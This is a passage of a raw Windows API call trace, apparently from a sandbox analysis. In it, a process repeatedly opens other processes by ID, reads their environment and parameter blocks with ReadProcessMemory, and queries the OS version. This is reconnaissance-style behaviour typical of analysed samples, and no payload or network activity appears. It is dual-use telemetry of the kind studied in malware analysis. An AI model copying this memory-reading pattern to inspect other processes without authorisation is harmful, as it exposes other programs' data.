0x464 [0284.799] GetLastError () returned 0x0 [0284.799] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0284.799] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x290018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0284.800] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0284.800] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x441cf0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0284.800] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4418f8, lpBuffer=0x670f7c2b0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0284.801] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0284.802] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0284.802] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x290020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0284.803] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4412e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0284.803] malloc (_Size=0x74) returned 0x196ef0d31b0 [0284.803] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x441964, lpBuffer=0x196ef0d31b0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0284.804] free (_Block=0x196ef0d31b0) [0284.805] CloseHandle (hObject=0x464) returned 1 [0284.805] _ui64tow_s (in: _Value=0xedc, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3804") returned 0x0 [0284.809] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3804") returned 4 [0284.810] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0284.810] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0284.840] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xedc) returned 0x464 [0284.840] GetLastError () returned 0x0 [0284.840] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0284.840] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2d2018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0284.840] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0284.841] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x481c70, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0284.841] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4818f8, lpBuffer=0x670f7c2b0, nSize=0x42, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0284.842] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0284.843] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0284.843] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2d2020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0284.843] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4812e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0284.843] malloc (_Size=0x4a) returned 0x196ef1008c0 [0284.843] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x48193a, lpBuffer=0x196ef1008c0, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef1008c0*, lpNumberOfBytesRead=0x0) returned 1 [0284.844] free (_Block=0x196ef1008c0) [0284.845] CloseHandle (hObject=0x464) returned 1 [0284.845] _ui64tow_s (in: _Value=0xee4, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3812") returned 0x0 [0284.850] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3812") returned 4 [0284.851] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0284.851] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0284.864] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xee4) returned 0x464 [0284.864] GetLastError () returned 0x0 [0284.865] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0284.865] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2e6018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0284.865] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0284.865] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x491cc0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0284.865] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4918f8, lpBuffer=0x670f7c2b0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0284.866] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0284.867] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0284.868] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2e6020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0284.868] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4912e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0284.868] malloc (_Size=0x64) returned 0x196ef0d0370 [0284.868] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x491954, lpBuffer=0x196ef0d0370, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0284.869] free (_Block=0x196ef0d0370) [0284.869] CloseHandle (hObject=0x464) returned 1 [0284.870] _ui64tow_s (in: _Value=0xef4, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3828") returned 0x0 [0284.884] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3828") returned 4 [0284.885] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0284.885] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0284.900] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xef4) returned 0x464 [0284.900] GetLastError () returned 0x0 [0284.900] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0284.901] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3ed018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0284.901] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0284.901] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x511cd0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0284.901] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5118f8, lpBuffer=0x670f7c2b0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0284.902] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0284.910] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0284.910] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3ed020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0284.910] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5112e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0284.911] malloc (_Size=0x68) returned 0x196ef0d0610 [0284.911] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x511958, lpBuffer=0x196ef0d0610, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0610*, lpNumberOfBytesRead=0x0) returned 1 [0284.911] free (_Block=0x196ef0d0610) [0284.912] CloseHandle (hObject=0x464) returned 1 [0284.913] _ui64tow_s (in: _Value=0xefc, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3836") returned 0x0 [0284.916] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3836") returned 4 [0284.917] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0284.917] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0284.931] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xefc) returned 0x464 [0284.931] GetLastError () returned 0x0 [0284.931] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0284.931] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x252018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0284.932] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0284.932] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4a1d30, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0284.932] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4a18f8, lpBuffer=0x670f7c2b0, nSize=0x7e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0284.933] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0284.964] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0284.964] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x252020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0284.964] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4a12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0284.964] malloc (_Size=0x86) returned 0x196ef0fa7b0 [0284.964] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4a1976, lpBuffer=0x196ef0fa7b0, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fa7b0*, lpNumberOfBytesRead=0x0) returned 1 [0284.965] free (_Block=0x196ef0fa7b0) [0284.966] CloseHandle (hObject=0x464) returned 1 [0284.967] _ui64tow_s (in: _Value=0xf0c, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3852") returned 0x0 [0284.970] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3852") returned 4 [0284.971] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0284.971] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0284.984] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf0c) returned 0x464 [0284.985] GetLastError () returned 0x0 [0284.985] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0284.985] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x365018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0284.985] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0284.985] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b1cb0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0284.986] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b18f8, lpBuffer=0x670f7c2b0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0284.986] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0284.988] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0284.988] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x365020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0284.988] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0284.988] malloc (_Size=0x60) returned 0x196ef0d03e0 [0284.988] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b1950, lpBuffer=0x196ef0d03e0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d03e0*, lpNumberOfBytesRead=0x0) returned 1 [0284.989] free (_Block=0x196ef0d03e0) [0284.989] CloseHandle (hObject=0x464) returned 1 [0284.990] _ui64tow_s (in: _Value=0xf18, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3864") returned 0x0 [0284.993] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3864") returned 4 [0284.994] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0284.994] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0285.034] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf18) returned 0x464 [0285.034] GetLastError () returned 0x0 [0285.035] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0285.035] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x54a018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0285.035] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0285.035] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7d1d40, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0285.035] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7d1958, lpBuffer=0x670f7c2b0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0285.036] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0285.037] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0285.037] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x54a020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0285.038] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7d1340, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0285.038] malloc (_Size=0x6e) returned 0x196ef0d31b0 [0285.038] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7d19be, lpBuffer=0x196ef0d31b0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0285.039] free (_Block=0x196ef0d31b0) [0285.039] CloseHandle (hObject=0x464) returned 1 [0285.040] _ui64tow_s (in: _Value=0xf20, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3872") returned 0x0 [0285.043] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3872") returned 4 [0285.044] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0285.044] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0285.057] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf20) returned 0x464 [0285.057] GetLastError () returned 0x0 [0285.058] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0285.058] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3ab018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0285.058] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0285.058] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x481cc0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0285.058] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4818f8, lpBuffer=0x670f7c2b0, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0285.091] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0285.092] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0285.093] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3ab020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0285.093] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4812e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0285.093] malloc (_Size=0x62) returned 0x196ef0d0370 [0285.093] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x481952, lpBuffer=0x196ef0d0370, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0285.094] free (_Block=0x196ef0d0370) [0285.094] CloseHandle (hObject=0x464) returned 1 [0285.095] _ui64tow_s (in: _Value=0xf30, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3888") returned 0x0 [0285.099] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3888") returned 4 [0285.100] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0285.100] _vsnwprintf (in: 